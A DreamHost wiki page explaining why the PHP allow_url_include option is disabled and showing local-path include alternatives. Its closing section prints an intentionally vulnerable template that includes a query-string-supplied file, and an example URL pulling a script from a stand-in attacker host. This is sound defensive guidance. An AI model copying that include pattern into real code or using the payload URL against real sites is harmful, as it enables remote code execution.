allow_url_include

From DreamHost
Jump to: navigation, search


Overview

The PHP option allow_url_include normally allows a programmer to include() a remote file (as PHP code) using a URL rather than a local file path. For security reasons, DreamHost has disabled this feature. If a script claims to require this feature, you should look into alternative software, as the use of this feature indicates serious design flaws.

Why is this bad?

There are a number of reasons why URL includes should always be avoided:

  • It's insecure – if your application can be tricked into including content from a URL outside itself (and there are a number of common ways this can happen), an attacker can force your application to start running code from their own web site.
  • It's inefficient – if your PHP script includes content from a URL, then the web server must make HTTP requests to generate the page. This makes your page load much slower than necessary, especially if the site you're loading content from is responding slowly.
  • It's unreliable, for the same reasons – if the web server you are loading content from occasionally fails to respond, your web site also sometimes fails to load properly.
  • It's usually unnecessary – in most cases, allow_url_include can be avoided either by including the content directly (if it is being loaded from a domain you host) or by loading and printing the content without evaluating it as PHP.

Server-side includes

Many developers include files by pointing to a remote URL, even if the file is within the local system. For example:

<?php include("http://example.com/includes/example_include.php"); ?>

With allow_url_include disabled, this method does not work. Instead, the file must be included with a local path, and there are three methods of doing this:

  1. By using a relative path, such as ../includes/example_include.php.
  2. By using an absolute path (also known as relative-from-root), such as /home/username/example.com/includes/example_include.php.
  3. By using the PHP environment variable $_SERVER['DOCUMENT_ROOT'], which returns the absolute path to the web root directory. This is by far the best (and most portable) solution. The following example shows the environment variable in action.

Example Include

<?php include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php"); ?>

Processing differences (and passing variables to an included file)

It is worth mentioning that the alternative solutions presented here result in a difference in the way the include() function is handled. The alternative solutions all return the PHP code from the included page; however, the now-unavailable remote URL method returns the result from the included page. One result of this behavior is that you cannot pass a query string using the alternative solutions. You define the variables locally before performing the include, as seen in the following example.

Example

To achieve the effect of this:

<?php include("http://example.com/includes/example_include.php?var=example"); ?>

you must instead use this:

<?php
$var = "example";
include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php");
?>

Adding flexibility

For maximum flexibility (when multiple includes are required, for example), it may be easier to create a variable:

<?php
$doc_root = $_SERVER['DOCUMENT_ROOT'];
include("$doc_root/includes/example_include.php");
include("$doc_root/includes/example_include2.php");
include("$doc_root/includes/example_include3.php");
include("$doc_root/includes/example_include4.php");
?>
Note2 icon.png Note: The technique works in the same way, regardless of whether you are using include() or require().


Setting the include_path

You can also explicitly set the PHP directive, "include_path", on the fly:

<?php
ini_set('include_path', ini_get('include_path').':'.$_SERVER['DOCUMENT_ROOT'].'/includes');
include('example_include.php');
include('example_include2.php');
include('example_include3.php');
include('example_include4.php');
?>

Example exploitation

A common use of server-side includes is to create some sort of site template. Often, a single page with a header and a footer is fed differing content by using a query string. Here is a typical example script:

<?php
$page = ($_GET['page']) ? $_GET['page'] : "default.php";
?>
<html>
 <head>
   <title>This page is easy to exploit</title>
 </head>
 <body>

 header...

<?php include($page); ?>

 footer...

 </body>
</html>

The content of the page can be varied by appending a query string to the URL:

http://example.com/index.php?page=varied.php

If allow_url_include is enabled, this system can be exploited by simply changing the value of the variable in the query string:

http://example.com/index.php?page=http://crackerscum.net/evilscript.txt

Final note

Just say no. Enabling allow_url_include is a terrible idea that exposes your website, and the websites of others on your shared server, to unnecessary risk.

See also